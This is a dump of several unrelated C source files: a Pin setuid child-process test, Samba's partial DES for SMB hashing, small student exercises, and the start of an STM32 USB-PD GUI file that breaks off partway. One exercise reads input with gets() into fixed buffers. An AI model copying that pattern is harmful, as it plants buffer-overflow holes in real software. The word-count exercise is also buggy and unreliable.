Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are
met:
Redistributions of source code must retain the above copyright notice,
this list of conditions and the following disclaimer. Redistributions
in binary form must reproduce the above copyright notice, this list of
conditions and the following disclaimer in the documentation and/or
other materials provided with the distribution. Neither the name of
the Intel Corporation nor the names of its contributors may be used to
endorse or promote products derived from this software without
specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE INTEL OR
ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
END_LEGAL */
/*
* This application is used by the test: "child_process_injection1.test"
* This application is used to check that when Pin injection to a child process fails
* due to lack of permissions, the child process runs natively.
*/
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char * argv[])
{
pid_t pid = fork();
if (pid == 0)
{
char *childArgvArray[3];
char * s = (char *)("/usr/bin/chfn");
childArgvArray[0] = (char *)s;
childArgvArray[1] = (char *)("--help");
childArgvArray[2] = NULL;
/*
* Pin injection should fail since it doesn't have permission to the child process
* (since this application has been given the setuid attribute).
* The application should run natively.
*/
int err = execv(s, childArgvArray);
fprintf(stdout, "%s\n", "Child report: Execve failed ");
}
else
{
int status;
waitpid(pid, &status, 0);
fprintf(stdout, "%s%d\n", "status", status);
if (status !=0)
fprintf(stdout, "%s%d\n", "Parent report: Child process failed. Status of the child process is "
, WEXITSTATUS(status));
else
fprintf(stdout, "%s\n", "Parent report: Child process exited successfully");
}
return 0;
}
|
the_stack_data/113339.c | /*
Unix SMB/Netbios implementation.
Version 1.9.
a partial implementation of DES designed for use in the
SMB authentication protocol
Copyright (C) Andrew Tridgell 1997
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
*/
/* NOTES:
This code makes no attempt to be fast! In fact, it is a very
slow implementation
This code is NOT a complete DES implementation. It implements only
the minimum necessary for SMB authentication, as used by all SMB
products (including every copy of Microsoft Windows95 ever sold)
In particular, it can only do a unchained forward DES pass. This
means it is not possible to use this code for encryption/decryption
of data, instead it is only useful as a "hash" algorithm.
There is no entry point into this code that allows normal DES operation.
I believe this means that this code does not come under ITAR
regulations but this is NOT a legal opinion. If you are concerned
about the applicability of ITAR regulations to this code then you
should confirm it for yourself (and maybe let me know if you come
up with a different answer to the one above)
*/
static int perm1[56] = {57, 49, 41, 33, 25, 17, 9,
1, 58, 50, 42, 34, 26, 18,
10, 2, 59, 51, 43, 35, 27,
19, 11, 3, 60, 52, 44, 36,
63, 55, 47, 39, 31, 23, 15,
7, 62, 54, 46, 38, 30, 22,
14, 6, 61, 53, 45, 37, 29,
21, 13, 5, 28, 20, 12, 4};
static int perm2[48] = {14, 17, 11, 24, 1, 5,
3, 28, 15, 6, 21, 10,
23, 19, 12, 4, 26, 8,
16, 7, 27, 20, 13, 2,
41, 52, 31, 37, 47, 55,
30, 40, 51, 45, 33, 48,
44, 49, 39, 56, 34, 53,
46, 42, 50, 36, 29, 32};
static int perm3[64] = {58, 50, 42, 34, 26, 18, 10, 2,
60, 52, 44, 36, 28, 20, 12, 4,
62, 54, 46, 38, 30, 22, 14, 6,
64, 56, 48, 40, 32, 24, 16, 8,
57, 49, 41, 33, 25, 17, 9, 1,
59, 51, 43, 35, 27, 19, 11, 3,
61, 53, 45, 37, 29, 21, 13, 5,
63, 55, 47, 39, 31, 23, 15, 7};
static int perm4[48] = { 32, 1, 2, 3, 4, 5,
4, 5, 6, 7, 8, 9,
8, 9, 10, 11, 12, 13,
12, 13, 14, 15, 16, 17,
16, 17, 18, 19, 20, 21,
20, 21, 22, 23, 24, 25,
24, 25, 26, 27, 28, 29,
28, 29, 30, 31, 32, 1};
static int perm5[32] = { 16, 7, 20, 21,
29, 12, 28, 17,
1, 15, 23, 26,
5, 18, 31, 10,
2, 8, 24, 14,
32, 27, 3, 9,
19, 13, 30, 6,
22, 11, 4, 25};
static int perm6[64] ={ 40, 8, 48, 16, 56, 24, 64, 32,
39, 7, 47, 15, 55, 23, 63, 31,
38, 6, 46, 14, 54, 22, 62, 30,
37, 5, 45, 13, 53, 21, 61, 29,
36, 4, 44, 12, 52, 20, 60, 28,
35, 3, 43, 11, 51, 19, 59, 27,
34, 2, 42, 10, 50, 18, 58, 26,
33, 1, 41, 9, 49, 17, 57, 25};
static int sc[16] = {1, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1};
static int sbox[8][4][16] = {
{{14, 4, 13, 1, 2, 15, 11, 8, 3, 10, 6, 12, 5, 9, 0, 7},
{0, 15, 7, 4, 14, 2, 13, 1, 10, 6, 12, 11, 9, 5, 3, 8},
{4, 1, 14, 8, 13, 6, 2, 11, 15, 12, 9, 7, 3, 10, 5, 0},
{15, 12, 8, 2, 4, 9, 1, 7, 5, 11, 3, 14, 10, 0, 6, 13}},
{{15, 1, 8, 14, 6, 11, 3, 4, 9, 7, 2, 13, 12, 0, 5, 10},
{3, 13, 4, 7, 15, 2, 8, 14, 12, 0, 1, 10, 6, 9, 11, 5},
{0, 14, 7, 11, 10, 4, 13, 1, 5, 8, 12, 6, 9, 3, 2, 15},
{13, 8, 10, 1, 3, 15, 4, 2, 11, 6, 7, 12, 0, 5, 14, 9}},
{{10, 0, 9, 14, 6, 3, 15, 5, 1, 13, 12, 7, 11, 4, 2, 8},
{13, 7, 0, 9, 3, 4, 6, 10, 2, 8, 5, 14, 12, 11, 15, 1},
{13, 6, 4, 9, 8, 15, 3, 0, 11, 1, 2, 12, 5, 10, 14, 7},
{1, 10, 13, 0, 6, 9, 8, 7, 4, 15, 14, 3, 11, 5, 2, 12}},
{{7, 13, 14, 3, 0, 6, 9, 10, 1, 2, 8, 5, 11, 12, 4, 15},
{13, 8, 11, 5, 6, 15, 0, 3, 4, 7, 2, 12, 1, 10, 14, 9},
{10, 6, 9, 0, 12, 11, 7, 13, 15, 1, 3, 14, 5, 2, 8, 4},
{3, 15, 0, 6, 10, 1, 13, 8, 9, 4, 5, 11, 12, 7, 2, 14}},
{{2, 12, 4, 1, 7, 10, 11, 6, 8, 5, 3, 15, 13, 0, 14, 9},
{14, 11, 2, 12, 4, 7, 13, 1, 5, 0, 15, 10, 3, 9, 8, 6},
{4, 2, 1, 11, 10, 13, 7, 8, 15, 9, 12, 5, 6, 3, 0, 14},
{11, 8, 12, 7, 1, 14, 2, 13, 6, 15, 0, 9, 10, 4, 5, 3}},
{{12, 1, 10, 15, 9, 2, 6, 8, 0, 13, 3, 4, 14, 7, 5, 11},
{10, 15, 4, 2, 7, 12, 9, 5, 6, 1, 13, 14, 0, 11, 3, 8},
{9, 14, 15, 5, 2, 8, 12, 3, 7, 0, 4, 10, 1, 13, 11, 6},
{4, 3, 2, 12, 9, 5, 15, 10, 11, 14, 1, 7, 6, 0, 8, 13}},
{{4, 11, 2, 14, 15, 0, 8, 13, 3, 12, 9, 7, 5, 10, 6, 1},
{13, 0, 11, 7, 4, 9, 1, 10, 14, 3, 5, 12, 2, 15, 8, 6},
{1, 4, 11, 13, 12, 3, 7, 14, 10, 15, 6, 8, 0, 5, 9, 2},
{6, 11, 13, 8, 1, 4, 10, 7, 9, 5, 0, 15, 14, 2, 3, 12}},
{{13, 2, 8, 4, 6, 15, 11, 1, 10, 9, 3, 14, 5, 0, 12, 7},
{1, 15, 13, 8, 10, 3, 7, 4, 12, 5, 6, 11, 0, 14, 9, 2},
{7, 11, 4, 1, 9, 12, 14, 2, 0, 6, 10, 13, 15, 3, 5, 8},
{2, 1, 14, 7, 4, 10, 8, 13, 15, 12, 9, 0, 3, 5, 6, 11}}};
static void permute(char *out, char *in, int *p, int n)
{
int i;
for (i=0;i<n;i++)
out[i] = in[p[i]-1];
}
static void lshift(char *d, int count, int n)
{
char out[64];
int i;
for (i=0;i<n;i++)
out[i] = d[(i+count)%n];
for (i=0;i<n;i++)
d[i] = out[i];
}
static void concat(char *out, char *in1, char *in2, int l1, int l2)
{
while (l1--)
*out++ = *in1++;
while (l2--)
*out++ = *in2++;
}
static void xor(char *out, char *in1, char *in2, int n)
{
int i;
for (i=0;i<n;i++)
out[i] = in1[i] ^ in2[i];
}
static void dohash(char *out, char *in, char *key)
{
int i, j, k;
char pk1[56];
char c[28];
char d[28];
char cd[56];
char ki[16][48];
char pd1[64];
char l[32], r[32];
char rl[64];
permute(pk1, key, perm1, 56);
for (i=0;i<28;i++)
c[i] = pk1[i];
for (i=0;i<28;i++)
d[i] = pk1[i+28];
for (i=0;i<16;i++) {
lshift(c, sc[i], 28);
lshift(d, sc[i], 28);
concat(cd, c, d, 28, 28);
permute(ki[i], cd, perm2, 48);
}
permute(pd1, in, perm3, 64);
for (j=0;j<32;j++) {
l[j] = pd1[j];
r[j] = pd1[j+32];
}
for (i=0;i<16;i++) {
char er[48];
char erk[48];
char b[8][6];
char cb[32];
char pcb[32];
char r2[32];
permute(er, r, perm4, 48);
xor(erk, er, ki[i], 48);
for (j=0;j<8;j++)
for (k=0;k<6;k++)
b[j][k] = erk[j*6 + k];
for (j=0;j<8;j++) {
int m, n;
m = (b[j][0]<<1) | b[j][5];
n = (b[j][1]<<3) | (b[j][2]<<2) | (b[j][3]<<1) | b[j][4];
for (k=0;k<4;k++)
b[j][k] = (sbox[j][m][n] & (1<<(3-k)))?1:0;
}
for (j=0;j<8;j++)
for (k=0;k<4;k++)
cb[j*4+k] = b[j][k];
permute(pcb, cb, perm5, 32);
xor(r2, l, pcb, 32);
for (j=0;j<32;j++)
l[j] = r[j];
for (j=0;j<32;j++)
r[j] = r2[j];
}
concat(rl, r, l, 32, 32);
permute(out, rl, perm6, 64);
}
static void str_to_key(unsigned char *str,unsigned char *key)
{
int i;
key[0] = str[0]>>1;
key[1] = ((str[0]&0x01)<<6) | (str[1]>>2);
key[2] = ((str[1]&0x03)<<5) | (str[2]>>3);
key[3] = ((str[2]&0x07)<<4) | (str[3]>>4);
key[4] = ((str[3]&0x0F)<<3) | (str[4]>>5);
key[5] = ((str[4]&0x1F)<<2) | (str[5]>>6);
key[6] = ((str[5]&0x3F)<<1) | (str[6]>>7);
key[7] = str[6]&0x7F;
for (i=0;i<8;i++) {
key[i] = (key[i]<<1);
}
}
static void smbhash(unsigned char *out, unsigned char *in, unsigned char *key)
{
int i;
char outb[64];
char inb[64];
char keyb[64];
unsigned char key2[8];
str_to_key(key, key2);
for (i=0;i<64;i++) {
inb[i] = (in[i/8] & (1<<(7-(i%8)))) ? 1 : 0;
keyb[i] = (key2[i/8] & (1<<(7-(i%8)))) ? 1 : 0;
outb[i] = 0;
}
dohash(outb, inb, keyb);
for (i=0;i<8;i++) {
out[i] = 0;
}
for (i=0;i<64;i++) {
if (outb[i])
out[i/8] |= (1<<(7-(i%8)));
}
}
void E_P16(unsigned char *p14,unsigned char *p16)
{
unsigned char sp8[8] = {0x4b, 0x47, 0x53, 0x21, 0x40, 0x23, 0x24, 0x25};
smbhash(p16, sp8, p14);
smbhash(p16+8, sp8, p14+7);
}
void E_P24(unsigned char *p21, unsigned char *c8, unsigned char *p24)
{
smbhash(p24, c8, p21);
smbhash(p24+8, c8, p21+7);
smbhash(p24+16, c8, p21+14);
}
void cred_hash1(unsigned char *out,unsigned char *in,unsigned char *key)
{
unsigned char buf[8];
smbhash(buf, in, key);
smbhash(out, buf, key+9);
}
void cred_hash2(unsigned char *out,unsigned char *in,unsigned char *key)
{
unsigned char buf[8];
static unsigned char key2[8];
smbhash(buf, in, key);
key2[0] = key[7];
smbhash(out, buf, key2);
}
|
the_stack_data/55804.c | #include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
struct personalData
{
char name[20];
char lastName[30];
int age;
};
// Main-Function.
int main(){
// Variables.
struct personalData person;
// Inputs.
printf("Keep your personal data with us! ;)\n");
printf("\nEnter your name: ");
gets(person.name);
printf("Enter your last name: ");
gets(person.lastName);
printf("Enter your age: ");
scanf("%i", &person.age);
printf("\nData saved!\n\n");
// Outputs.
printf("To confirm : \n\n");
printf("Your name is: %s\n", person.name);
printf("Your last name is: %s\n", person.lastName);
printf("Your age is: %i\n", person.age);
printf("\nThanks to use our software.!\n");
return 0;
} |
the_stack_data/45449798.c | #include <assert.h>
int main()
{
int a = 1;
int b = 0;
assert((a = 2) || (b = 1));
assert(a == 2);
assert(b == 0);
assert((a = 0) || (b = 1));
assert(a == 0);
assert(b == 1);
assert((a = 1) || (b = 0));
assert(a == 1);
assert(b == 1);
assert(!((a = 0) || (b = 0)));
assert(a == 0);
assert(b == 0);
a = 1;
b = 0;
assert((a = 2) && (b = 1));
assert(a == 2);
assert(b == 1);
assert(!((a = 0) && (b = 2)));
assert(a == 0);
assert(b == 1);
assert(!((a = 2) && (b = 0)));
assert(a == 2);
assert(b == 0);
b = 1;
assert(!((a = 0) && (b = 0)));
assert(a == 0);
assert(b == 1);
return 0;
}
|
the_stack_data/75138247.c | /* Some operating systems don't have strerror.
This file provides a definition which David Mazieres <[email protected]>
assures me works. */
#if HAVE_CONFIG_H
# include <config.h>
#endif
#ifdef __cplusplus
extern "C" {
#endif
char *
strerror(int errno)
{
extern int sys_nerr;
extern char *sys_errlist[];
if (errno < 0 || errno >= sys_nerr)
return (char *)"bad error number";
else
return sys_errlist[errno];
}
#ifdef __cplusplus
}
#endif
|
the_stack_data/182952536.c | /*
Π‘ΠΊΠΎΠΏΠΈΡΠΎΠ²Π°ΡΡ ΠΎΠ΄ΠΈΠ½ ΡΠ°ΠΉΠ» Π² Π΄ΡΡΠ³ΠΎΠΉ. ΠΠΌΠ΅Π½Π° ΡΠ°ΠΉΠ»ΠΎΠ² ΠΏΠ΅ΡΠ΅Π΄Π°ΡΡΡΡ ΠΈΠ· ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ ΡΡΡΠΎΠΊΠΈ.
ΠΡΠΈΠΌΠ΅Ρ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π½ΠΈΡ Π½ΠΈΠ·ΠΊΠΎΡΡΠΎΠ²Π½Π΅Π²ΡΡ
ΡΡΠ½ΠΊΡΠΈΠΉ Π²Π²ΠΎΠ΄Π°-Π²ΡΠ²ΠΎΠ΄Π°.
ΠΡΠΈΠΌΠ΅Ρ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π½ΠΈΡ:
8_2_2.exe source_file1.txt file2.txt
*/
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
int main(int argc, char *argv[])
{
// ΠΠ΅ΡΠΊΡΠΈΠΏΡΠΎΡΡ Π²Ρ
ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΈ Π²ΡΡ
ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΡΠ°ΠΉΠ»ΠΎΠ².
int source_file_descriptor, target_file_descriptor;
// ΠΠΎΠ»ΠΈΡΠ΅ΡΡΠ²ΠΎ ΠΏΡΠΎΡΠΈΡΠ°Π½Π½ΡΡ
Π±Π°ΠΉΡ.
int n;
char buf[BUFSIZ];
if ( argc != 3 ) {
perror("Wrong number of arguments");
return -1;
}
if ( (source_file_descriptor = open(argv[1], O_RDONLY)) == -1 ) {
perror(argv[1]);
return -1;
}
// Π’ΡΠ΅ΡΠΈΠΉ ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΡ Π² ΡΡΠ½ΠΊΡΠΈΠΈ open ΠΎΠΏΡΠ΅Π΄Π΅Π»ΡΠ΅Ρ ΠΏΡΠ°Π²Π° Π΄ΠΎΡΡΡΠΏΠ° ΠΊ ΡΠΎΠ·Π΄Π°Π²Π°Π΅ΠΌΠΎΠΌΡ ΡΠ°ΠΉΠ»Ρ Π² UNIX-ΡΠΈΡΡΠ΅ΠΌΠ°Ρ
if ( (target_file_descriptor = open(argv[2], O_WRONLY | O_CREAT | O_TRUNC, S_IWUSR | S_IRUSR)) == -1 ) {
perror(argv[2]);
return -1;
}
while ( (n = read(source_file_descriptor, buf, BUFSIZ)) > 0 )
write(target_file_descriptor, buf, n);
close(source_file_descriptor);
close(target_file_descriptor);
return 0;
}
|
the_stack_data/23082.c | /******************************************************************************
* Exercise 1-11. How would you test the word count program? What kinds of input
* are most likely to uncover bugs if there are any?
*
* BUG 1: Cumulation of random symbols such as !@#$% or numbers such as 12345
* are counted as words.
* BUG 2:
*******************************************************************************/
#include <stdio.h>
#define IN 1
#define OUT 0
int main()
{
int c, nl, nw, nc, state;
state = OUT;
nl = nw = nc = 0;
while ((c = getchar()) != EOF)
{
if (c == ' ' || c == '\n' || c == '\t')
{
state = OUT;
}
else if (state == OUT)
{
state = IN;
++nw;
}
}
printf("%d %d %d\n", nl, nw, nc);
}
|
the_stack_data/783987.c | /**
******************************************************************************
* @file gui_api.c
* @author MCD Application Team
* @brief GUI_API provides functions associated with answers the MCU can send
to the computer via UART.
******************************************************************************
* @attention
*
* <h2><center>© Copyright (c) 2018 STMicroelectronics.
* All rights reserved.</center></h2>
*
* This software component is licensed by ST under BSD 3-Clause license,
* the "License"; You may not use this file except in compliance with the
* License. You may obtain a copy of the License at:
* opensource.org/licenses/BSD-3-Clause
*
******************************************************************************
*/
#if defined(_GUI_INTERFACE)
#define GUI_API_C
#include <stdlib.h>
#include "usbpd_core.h"
#include "gui_api.h"
#include "bsp_gui.h"
#include "data_struct_tlv.h"
#include "usbpd_dpm_core.h"
#include "usbpd_trace.h"
#include "usbpd_dpm_user.h"
#include "usbpd_dpm_conf.h"
#include "tracer_emb.h"
#ifdef _VDM
#include "usbpd_vdm_user.h"
#endif /* _VDM */
#include "usbpd_pdo_defs.h"
#ifndef USBPD_TCPM_MODULE_ENABLED
#else
#include "usbpd_tcpci.h"
#endif /* USBPD_TCPM_MODULE_ENABLED */
#if defined(_RTOS)
#include "cmsis_os.h"
#else
#if defined(USE_STM32_UTILITY_OS)
#include "utilities_conf.h"
#endif /*USE_STM32_UTILITY_OS */
#endif /*_RTOS*/
/* generic hal function valid for all stm32 */
extern uint32_t HAL_GetTick(void);
extern void HAL_NVIC_SystemReset(void);
/** @addtogroup STM32_USBPD_LIBRARY
* @{
*/
/** @addtogroup USBPD_GUI_API
* @{
*/
/* Private enums -------------------------------------------------------------*/
/* Private typedef -----------------------------------------------------------*/
/* Private define ------------------------------------------------------------*/
/** @defgroup USBPD_GUI_API_Private_Defines USBPD GUI API Private Defines
* @{
*/
#if !defined(USBPD_FW_VERSION)
#define USBPD_FW_VERSION 0xFFFFFFFFU
#endif /* !USBPD_FW_VERSION */
#if !defined(USBPD_START_PORT_NUMBER)
#define USBPD_START_PORT_NUMBER 0U
#endif /* !USBPD_START_PORT_NUMBER */
#define GUI_PORT_BIT_POSITION 5U /* Bit position of port number in TAG id */
#define GUI_BOX_MESSAGES_MAX 30U
#define GUI_TIMER_ENABLE_MSK ((uint16_t)0x8000U) /*!< Enable Timer Mask */
#define GUI_TIMER_READ_MSK ((uint16_t)0x7FFFU) /*!< Read Timer Mask */
#if defined(USBPDCORE_SNK_CAPA_EXT)
#define GUI_VDM_CABLE_INFO USBPD_CORE_SNK_EXTENDED_CAPA + 1U
#else
#define GUI_VDM_CABLE_INFO USBPD_CORE_UNSTRUCTURED_VDM + 1U
#endif /* USBPDCORE_SNK_CAPA_EXT */
#if defined(_RTOS)
#if (osCMSIS < 0x20000U)
#define GUI_STACK_SIZE_ADDON_FOR_CMSIS 1
#else
#define GUI_STACK_SIZE_ADDON_FOR_CMSIS 5
#endif /* osCMSIS < 0x20000U */
#define FREERTOS_GUI_PRIORITY osPriorityLow
#define FREERTOS_GUI_STACK_SIZE (240 * GUI_STACK_SIZE_ADDON_FOR_CMSIS)
#endif /*_RTOS*/
/**
* @brief USB PD GUI REJECT REASON
*/
typedef enum
{
GUI_REJ_DPM_REJECT = 0x00, /*<! Use in DPM_CONFIG_REJ */
GUI_REJ_DPM_BUSY = 0x01, /*<! Use in DPM_CONFIG_REJ */
GUI_REJ_DPM_TIMEOUT = 0x02, /*<! Use in DPM_CONFIG_REJ */
GUI_REJ_DPM_INVALID_MESSAGE = 0x03, /*<! Use in DPM_CONFIG_REJ (incorrect param in DPM_CONFIG_GET) */
GUI_REJ_DPM_OUT_OF_RANGE = 0x04, /*<! Use in DPM_CONFIG_REJ */
GUI_REJ_DPM_INVALID_PORT_NUMBER = 0x05, /*<! Use in DPM_CONFIG_REJ */
GUI_REJ_DPM_NOT_READY = 0x06, /*<! Use in DPM_MESSAGE_REJ */
} USBPD_GUI_Reject_Reason;
/**
* @brief USB PD GUI REGISTER TCPC
*/
#define GUI_REG_NUMBER_OF_REGISTERS 39U
typedef enum
{
GUI_REG_VENDOR_ID = 0x00, /*<! VENDOR_ID */
GUI_REG_PRODUCT_ID = 0x02, /*<! PRODUCT_ID */
GUI_REG_DEVICE_ID = 0x04, /*<! DEVICE_ID */
GUI_REG_USBTYPEC_REV = 0x06, /*<! USBTYPEC_REV */
GUI_REG_USBPD_REV_VER = 0x08, /*<! USBPD_REV_VER */
GUI_REG_USBPD_INTERFACE_REV = 0x0A, /*<! USBPD_INTERFACE_REV */
GUI_REG_ALERT = 0x10, /*<! ALERT */
GUI_REG_ALERT_MASK = 0x12, /*<! ALERT_MASK */
GUI_REG_POWER_STATUS_MASK = 0x14, /*<! POWER_STATUS_MASK */
GUI_REG_FAULT_STATUS_MASK = 0x15, /*<! FAULT_STATUS_MASK */
GUI_REG_CONFIG_STANDARD_OUTPUT = 0x18, /*<! CONFIG_STANDARD_OUTPUT */
GUI_REG_TCPC_CONTROL = 0x19, /*<! TCPC_CONTROL */
GUI_REG_ROLE_CONTROL = 0x1A, /*<! ROLE_CONTROL */
GUI_REG_FAULT_CONTROL = 0x1B, /*<! FAULT_CONTROL */
GUI_REG_POWER_CONTROL = 0x1C, /*<! POWER_CONTROL */
GUI_REG_CC_STATUS = 0x1D, /*<! CC_STATUS */
GUI_REG_POWER_STATUS = 0x1E, /*<! POWER_STATUS */
GUI_REG_FAULT_STATUS = 0x1F, /*<! FAULT_STATUS */
GUI_REG_COMMAND = 0x23, /*<! COMMAND */
GUI_REG_DECIVE_CAP1 = 0x24, /*<! DECIVE_CAP1 */
GUI_REG_DECIVE_CAP2 = 0x26, /*<! DECIVE_CAP2 */
GUI_REG_STD_INPUT_CAP = 0x28, /*<! STD_INPUT_CAP */
GUI_REG_STD_OUTPUT_CAP = 0x29, /*<! STD_OUTPUT_CAP */
GUI_REG_MSG_HEADER_INFO = 0x2E, /*<! MSG_HEADER_INFO */
GUI_REG_RX_DETECT = 0x2F, /*<! RX_DETECT */
GUI_REG_RX_BYTE_COUNT = 0x30, /*<! RX_BYTE_COUNT */
GUI_REG_RX_BUFFER_FRAME_TYPE = 0x31, /*<! RX_BUFFER_FRAME_TYPE */
GUI_REG_RX_HEADER = 0x32, /*<! RX_HEADER */
GUI_REG_RX_DATA = 0x34, /*<! RX_DATA */
GUI_REG_TRANSMIT = 0x50, /*<! TRANSMIT */
GUI_REG_TX_BYTE_COUNT = 0x51, /*<! TX_BYTE_COUNT */
GUI_REG_TX_HEADER = 0x52, /*<! TX_HEADER */
GUI_REG_TX_DATA = 0x54, /*<! TX_DATA */
GUI_REG_VBUS_VOLTAGE = 0x70, /*<! VBUS_VOLTAGE */
GUI_REG_VBUS_SINK_DISCONNECT_THRESHOLD = 0x72, /*<! VBUS_SINK_DISCONNECT_THRESHOLD */
GUI_REG_VBUS_STOP_DISCHARGE_THRESHOLD = 0x74, /*<! VBUS_STOP_DISCHARGE_THRESHOLD */
GUI_REG_VBUS_VOLTAGE_ALARM_HI_CFG = 0x76, /*<! VBUS_VOLTAGE_ALARM_HI_CFG */
GUI_REG_VBUS_VOLTAGE_ALARM_LO_CFG = 0x78, /*<! VBUS_VOLTAGE_ALARM_LO_CFG */
GUI_REG_VENDOR_DATA = 0x80, /*<! VENDOR_DATA */
} USBPD_GUI_RegisterTCPC;
/**
* @brief USB PD GUI TAG PARAM
*/
typedef enum
{
GUI_PARAM_SOP = 0x00, /*<! SOP support */
GUI_PARAM_SOP1 = 0x00, /*<! SOP prime support */
GUI_PARAM_SOP2 = 0x00, /*<! SOP second support */
GUI_PARAM_FASTROLESWAP = 0x02, /*<! It enables the FRS */
GUI_PARAM_DATAROLESWAP_TO_UFP = 0x03, /*<! Support of Data role swap to UFP */
GUI_PARAM_DEFAULTPOWERROLE = 0x04, /*<! DRP on PE side but no toggle on CAD
(dependency with CADRoleToggle) */
GUI_PARAM_DRP_SUPPORT = 0x05, /*<! DRP support (Power Role swap support) */
GUI_PARAM_CADROLETOGGLE = 0x06, /*<! CAD Role Toggle */
GUI_PARAM_PE_SCAP_HR = 0x07, /*<! Hard reset after N_SOURCE_CAPS message sending tentatives */
GUI_PARAM_VCONNSWAP = 0x08, /*<! It enables or disables the VCONN swap capability */
GUI_PARAM_VDM_SUPPORT = 0x09, /*<! Indicate if VDM messages support is enabled or not */
GUI_PARAM_PING_SUPPORT = 0x0A, /*<! Indicate if Ping message support is enabled or not */
GUI_PARAM_PPS_SUPPORT = 0x0B, /*<! PPS message supported by PE */
GUI_PARAM_SRCCAPAEXTSUPPORT = 0x0B, /*<! Source_Capabilities_Extended message supported by PE */
GUI_PARAM_ALERTSUPPORT = 0x0B, /*<! Alert message supported by PE */
GUI_PARAM_STATUSSUPPORT = 0x0B, /*<! Status message supported by PE
(Is_Alert_Supported should be enabled) */
GUI_PARAM_BATTERYSTATUSSUPPORT = 0x0B, /*<! Battery_Status message supported by PE */
GUI_PARAM_BATTERYCAPASUPPORT = 0x0B, /*<! Battery_Capabilities message supported by PE */
GUI_PARAM_MANUINFOSUPPORT = 0x0B, /*<! Manufacturer_Info message supported by PE */
GUI_PARAM_COUNTRYCODESSUPPORT = 0x0B, /*<! Country_Codes message supported by PE */
GUI_PARAM_COUNTRYINFOSUPPORT = 0x0B, /*<! Country_Info message supported by PE */
GUI_PARAM_SECURESPONSESUPPORT = 0x0B, /*<! Security_Response message supported by PE */
GUI_PARAM_SNK_PDO = 0x0C, /*<! maximum 7 * 32bit */
GUI_PARAM_SRC_PDO = 0x0D, /*<! maximum 7 * 32bit */
GUI_PARAM_TDRP = 0x0E, /*<! The period a DRP shall complete a Source to Sink
and back advertisement */
GUI_PARAM_DCSRC_DRP = 0x0F, /*<! The percent of time that a DRP shall advertise
Source during tDRP (in %) */
GUI_PARAM_RESPONDS_TO_DISCOV_SOP = 0x10, /*<! UUT can respond successfully to a Discover Identity
command from its port partner using SOP. */
GUI_PARAM_ATTEMPTS_DISCOV_SOP = 0x11, /*<! UUT can send a Discover Identity command to
its port partner using SOP */
GUI_PARAM_XID_SOP = 0x12, /*<! A decimal number assigned by USB-IF before certification */
GUI_PARAM_DATA_CAPABLE_AS_USB_HOST_SOP = 0x13, /*<! Indicates whether the UUT is capable of
enumerating USB Host */
GUI_PARAM_DATA_CAPABLE_AS_USB_DEVICE_SOP = 0x14, /*<! Indicates whether the UUT is capable of
enumerating as a USB Device */
GUI_PARAM_PRODUCT_TYPE_SOP = 0x15, /*<! What is the product type of the UUT? */
GUI_PARAM_MODAL_OPERATION_SUPPORTED_SOP = 0x16, /*<! Does the product support Modes? */
GUI_PARAM_USB_VID_SOP = 0x17, /*<! A unique 16-bit number, assigned to the Vendor by USB-IF. */
GUI_PARAM_PID_SOP = 0x18, /*<! A unique number assigned by the Vendor ID holder
identifying the product */
GUI_PARAM_BCDDEVICE_SOP = 0x19, /*<! A unique number assigned by the Vendor ID holder containing
identity information relevant to the release version
of the product. */
GUI_PARAM_MEASUREREPORTING = 0x1A, /*<! 0x00: Disable Measure reporting
(1 << 8) | (tr between 0 & 127): Enable Measure reporting
every tr x 40 ms
(if xx = 0 means only 1 indication to report to GUI)
*/
GUI_PARAM_MANUINFOPORT_VID = 0x1B, /*<! Vendor ID (assigned by the USB-IF))
used by Manufacturer info set for port */
GUI_PARAM_MANUINFOPORT_PID = 0x1B, /*<! Product ID (assigned by the manufacturer)
used by Manufacturer info set for port */
GUI_PARAM_MANUINFOPORT_STRING = 0x1B, /*<! Vendor string used by Manufacturer info set for port */
GUI_PARAM_DATAROLESWAP_TO_DFP = 0x1C, /*<! Support of Data role swap to DFP */
GUI_PARAM_NB_TAG = (GUI_PARAM_DATAROLESWAP_TO_DFP + 1), /*<! Number max of param */
GUI_PARAM_ALL = 0xFFu,
} USBPD_GUI_Tag_Param;
/**
* @brief USB PD GUI TAG INDICATION
*/
typedef enum
{
GUI_IND_NUMBEROFRCVSNKPDO = 0x00, /*<! The number of received Sink Power Data Objects from
